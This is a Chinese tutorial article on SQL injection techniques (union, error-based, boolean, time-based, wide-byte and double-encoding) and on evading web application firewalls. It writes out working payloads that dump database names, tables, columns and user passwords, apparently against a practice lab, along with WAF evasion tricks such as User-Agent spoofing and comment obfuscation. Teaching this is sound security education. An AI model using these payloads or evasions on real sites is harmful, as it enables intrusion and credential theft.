欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

sql注入类型、步骤以及绕waf注入实例讲解

程序员文章站 2022-08-05 11:03:14
一、SQL注入:SQL注入就是是一种将SQL语句插入或添加到应用(用户)的输入 参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。 最终使用户可控的输入被带...

一、SQL注入:SQL注入就是是一种将SQL语句插入或添加到应用(用户)的输入

参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。

最终使用户可控的输入被带入到了数据库中进行执行。

1.1存在SQL注入的地方大致有:

lGet

lPost

lCookie

lhttp头部

1.2 SQL注入的基本类型

lUnion联合查询注入

l基于报错注入(extractvalue(arg1,arg2),updatexml,floor)

l基于布尔类型注入

l基于时间的注入 -- sleep(arg1), benchmark(arg1,arg2)

l宽字节注入,二次编码注入 (%df%23, %2527)、

分类介绍:

1.2.1 Union联合查询注入:需要的条件

1.union必须由两条或两条以上的SELECT语句组成

2.union中的每个查询必须包含相同的列

3.union会从查询结果集中自动去除了重复行。

4.union注入使用的前提是页面要有显示位。这个也是一个union的缺点或者说是限制。

Union联合查询注入大致步骤:

1.判断列数 -- 通过 order by n;

2.判断显示位 -- id =-1 union select 1,2,3...........

3.爆库

id=-1'UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3--

id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--

4.爆表

id=-1' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),3--

小计:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制,也可以直接从数据库查询的语句取出来表的名

5.暴字段

id=-1' UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),3--

6.暴数据

id=-1' UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3--

1.2.2 报错注入

1.报错注入就是构造让信息通过错误提示回显出来,

前提:页面上没有显示位,但是需要执行SQl语句输出错误信息

1.1通过extractvalue(arg1,arg2)报错

通过updateXML(arg1,arg2,arg3)报错

通过floor(arg1)报错

1.2 步骤 :

1.查询数据库名字

1’and extractvalue(1,concat(0x74,(select database()),0x7e#

2. 查看数据库有哪些表

1’and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()) limit 0,1),0x7e)#

3,查看表右哪些列名

1’and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’limit 0,1),0x7e))#

4,最后查看数据

1’and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#

1.2.3 基于布尔类型的注入

页面上不需要显示位,也没有输出错误信息,只能通过页面返回是否正常

exists( )函数:

exists 用于检查子查询是否只要会返回一行数据,该子查询实际上并不返回任何数据,而是返回True或False

ascii( )函数:

返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。

查寻步骤同上面的一样,只不过需要获取结果的ascii值。来进行查询字符

1.2.4 时间注入

原理:正确的sql语句和错误的sql语句返回的时间不一样,依此来判断查询结果的正确性,但是要耗费大量时间。

Sleep(arg) arg中断的时间,

Select if(1=1,sleep( 5),0),结果页面延迟5秒显示,如果判断错误,则直接显示0,不进行等待5秒,

例如:select first_name,last_name from users where user_id='2' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>150,sleep(3),0);

// 表示当前库的第二个表名的第一个字符的ascii码值大于150,就延迟3秒返回结果,若小于150 ,直接返回结果,不执行sleep()函数;

1.2.5宽字节注入 && 二次编码注入

1.宽字节注入主要是编码转换的问题的注入

2.当提交id=1’and 1=1%23后,引号会被转义为1\’,显然这是失败的注入,。因为单引号被转义导致没有闭合前面的单引号。但是我们在提交id=1%df’and 1%23 后,单引号会转义成\’--%5c和前面的%df结合通过gbk编码得到一个汉字,这时后面的单引号会闭合前面的单引号,形成完整的sql查询语句,

例如:

https://192.168.31.133/shiyan/kzj.phpid=2%df%27 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1)),0x7e))%23

// 表示的是根据表名,把对应表下面的列字段全部根据错误注入的返回暴出。

二次编码:形如id=2%2527, 先把%25编码为%和后面的27结合为%27 ,就是单引号。

二、绕过WAF注入

1.什么是waf

WAF全称Web Application Firewall,是部署在web服务器前面保护网站应用抵御来自外部和内部的攻击。通俗点讲就是网页服务器的专门保镖

2.WAF分类

1硬件waf ->服务器 性能更加强大,里面的核心原理还是规则匹配,

2云waf->百度加速乐,域名解析权限给云。

3代码waf -> ModSecurity

4软件WAF -> 安全狗

3.waf三个基本步骤: 身份认证 数据包解析 规则匹配。

4.Waf的检测主要有三个阶段:

1.首先进行身份验证,白名单的直接给服务器,废白名单的要去进行数据包的解析,

2.无法解析数据包的将丢弃给服务器处理,正常解析的去进行规则判断。

3.符合规则的给服务器,不符合规则的将进行拦截。

5.怎么绕过waf

1.身份认证的绕过

WAF是有一个白名单的,在白名单内的客户请求将不做检测

1.1伪造搜索引擎

早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎便可以绕过,进行sql注入等攻击

1.2伪造白名单特殊目录

1.3直接攻击源站

这个方法的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果能通过一些手段找到原始的服务器地址,便可以绕过.

2.数据包解析的绕过

2.1编码绕过

进行urlencode

2.2修改请求方式绕过

有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。

WAF在这里主要是针对一些特殊的关键词或者用法进行检测。可以用cookie中转注入。

3.规则匹配的绕过

3.1特殊字符替换空格

3.2特殊字符拼接

把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,

3)注释包含关键字

mysql中,可以利用/*!*/包含关键词进行绕过。